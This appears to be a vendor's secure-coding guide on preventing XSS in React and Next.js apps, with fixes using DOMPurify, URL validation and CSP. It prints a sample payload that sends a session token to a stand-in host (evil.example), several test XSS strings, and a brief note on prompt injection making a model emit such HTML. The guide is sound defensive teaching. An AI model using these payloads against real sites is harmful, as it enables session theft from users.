Short answer: dangerouslySetInnerHTML is safe only when the HTML comes from you (your own build-time content) or has been run through a sanitizer like DOMPurify first. React escapes everything you render with {value}, so plain text is already safe. XSS in React and Next.js apps almost always comes from five places: dangerouslySetInnerHTML with user or AI content, markdown rendered with raw HTML enabled, user-supplied URLs in href or src, JSON injected into a <script> tag, and uploaded HTML or SVG files served from your domain. Fix those five and add a Content Security Policy as a second layer.
Apps built with Lovable, Bolt, v0, Cursor and Replit hit this constantly, because AI tools reach for dangerouslySetInnerHTML whenever they need to show formatted text: chat replies, blog posts, rich text comments, email previews. This guide shows what is actually dangerous and how to fix each case.
Why XSS matters in a Supabase or Firebase app
Cross-site scripting (XSS) means an attacker gets their JavaScript to run on your site, in another user's browser. In an app that keeps the session in the browser, which is the default for Supabase and Firebase client SDKs, that script can read the session token from storage and act as the victim: read their data, change their email, or call your API routes with their identity. Your RLS policies will not help, because the requests really do come from the logged-in user.
What React already protects you from
This is safe, even if comment.body contains <script> or <img onerror=...>:
<p>{comment.body}</p>
React escapes the string and the browser shows the tags as text. If you only need line breaks, keep it as text and use CSS instead of converting to HTML:
<p className="whitespace-pre-wrap">{comment.body}</p>
That one change removes the need for dangerouslySetInnerHTML in most chat and comment components.
1. dangerouslySetInnerHTML with user or AI content
This is the pattern to search for in your repo:
// Vulnerable: body comes from the database, a user or an LLM
<div dangerouslySetInnerHTML={{ __html: post.body }} />
AI output counts as user content. With prompt injection, an attacker can get the model to emit HTML such as <img src=x onerror="fetch('https://evil.example/?t='+localStorage.getItem('sb-...'))">, and if you inject the reply as HTML, it runs. See the prompt injection guide for the model side of this problem.
If you really need HTML, sanitize it first:
npm install dompurify
"use client";
import DOMPurify from "dompurify";
export function SafeHtml({ html }: { html: string }) {
const clean = DOMPurify.sanitize(html, {
USE_PROFILES: { html: true }, // no SVG or MathML
FORBID_TAGS: ["style", "form", "input"],
FORBID_ATTR: ["style"],
});
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
DOMPurify needs a DOM. In Server Components or API routes, use isomorphic-dompurify, which wraps it with jsdom on the server. Sanitize at render time (or on every write and again at render), not only once when the content is saved, so that old rows and rows written by other code paths are also covered.
Do not write your own regex sanitizer that strips <script>. There are dozens of ways to run script without a script tag (onerror, onload, srcdoc, javascript: links), and a regex will miss some of them.
2. Markdown renderers with raw HTML
Many AI chat UIs convert the model's markdown to HTML and inject it. Whether that is safe depends entirely on the library and its settings.
react-markdown is safe by default. It builds React elements instead of an HTML string, ignores raw HTML in the markdown, and its default URL transform drops javascript: links. It stops being safe when you add rehype-raw:
import ReactMarkdown from "react-markdown";
import rehypeRaw from "rehype-raw";
import rehypeSanitize from "rehype-sanitize";
// Safe: default settings
<ReactMarkdown>{message.content}</ReactMarkdown>
// If you must allow raw HTML, sanitize right after parsing it
<ReactMarkdown rehypePlugins={[rehypeRaw, rehypeSanitize]}>
{message.content}
</ReactMarkdown>
marked, markdown-it with html: true, and showdown return an HTML string and do not sanitize it. If you see marked.parse(userText) passed to dangerouslySetInnerHTML, wrap it:
const html = DOMPurify.sanitize(marked.parse(userText) as string);
Rendering your own markdown files from the repo at build time is fine without a sanitizer, because you control that content.
3. User-supplied links and image URLs
React escapes attribute values, but it cannot know that a URL is dangerous. A profile "website" field set to javascript:alert(document.cookie) becomes a clickable script. React 19 blocks javascript: URLs in href, but older React versions only log a warning, and the check does not cover window.location = url, window.open(url) or router pushes. Validate the protocol yourself:
export function safeUrl(input: string): string | undefined {
try {
const url = new URL(input, "https://placeholder.invalid");
return ["http:", "https:", "mailto:"].includes(url.protocol) ? input : undefined;
} catch {
return undefined;
}
}
<a href={safeUrl(profile.website)} target="_blank" rel="noopener noreferrer">
{profile.website}
</a>
Validate on write too (in your API route or with a Postgres check constraint) so bad values never reach the database. The same applies to redirect parameters like ?next=; the auth redirect URL guide covers open redirects.
4. JSON inside a script tag
AI tools often add JSON-LD for SEO or pass initial state like this:
<script
type="application/ld+json"
dangerouslySetInnerHTML={{ __html: JSON.stringify(product) }}
/>
JSON.stringify does not escape <. If product.name contains </script><script>alert(1)</script>, the browser closes your tag early and runs the attacker's script. Escape < before injecting:
const json = JSON.stringify(product).replace(/</g, "\\u003c");
<script type="application/ld+json" dangerouslySetInnerHTML={{ __html: json }} />
This keeps the JSON valid and makes it impossible to break out of the tag.
5. Uploaded HTML and SVG files
An SVG is an XML document that can contain <script>. If users can upload SVG or HTML and you serve the file from your own domain (or open it directly in the browser), the script runs on that origin. Options, from safest:
- Only accept raster types (
image/png,image/jpeg,image/webp) and check them on the server or in bucket settings. - Serve user files from a separate domain, such as the default Supabase Storage domain, never proxied through your app domain.
- Display SVGs with
<img src>, which does not run scripts, never by injecting the SVG markup.
The Supabase Storage security guide shows how to set allowed MIME types on a bucket.
Add a Content Security Policy as backup
A CSP tells the browser which scripts may run. Even if one injection slips through, a policy without 'unsafe-inline' in script-src blocks inline event handlers like onerror and stops the payload from loading scripts from other domains. The Next.js security headers and CSP guide has a copy-paste setup, including nonces for the App Router. Treat CSP as a second layer, not a replacement for fixing the rendering code.
Find every risky spot in your repo
grep -rn "dangerouslySetInnerHTML\|innerHTML\|outerHTML\|insertAdjacentHTML" src app components
grep -rn "rehype-raw\|marked\|markdown-it\|showdown" src app components package.json
grep -rn "window.location\s*=\|window.open(" src app components
For each hit, ask: where does this string come from? If any part of it comes from a user, the database, a URL parameter, a third-party API or an LLM, it needs to be text, sanitized HTML or a validated URL.
Test it
Paste these into every field that is displayed back to users (profile name, bio, comments, chat messages, and AI prompts that ask the model to repeat them):
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
[click me](javascript:alert(1))
</script><script>alert(1)</script>
If you see an alert, or the raw HTML disappears and becomes a broken image instead of showing as text, that field renders HTML and needs one of the fixes above. Test as one user and view the content as another user, since that is the real attack.
Related guides
- How to security review Cursor-generated code
- Pre-launch security checklist for AI-built apps
- Supabase Realtime security
Get an automated check
PreflightPR reviews AI-built apps for leaked keys, missing Supabase RLS, API routes without auth checks, unverified webhooks and other launch blockers. Run a free scan on a public repo for a launch score and a prioritized fix list, or install the PreflightPR GitHub App to check every pull request before it merges. It's an automated best-effort review, so still run the payload tests above against your deployed app.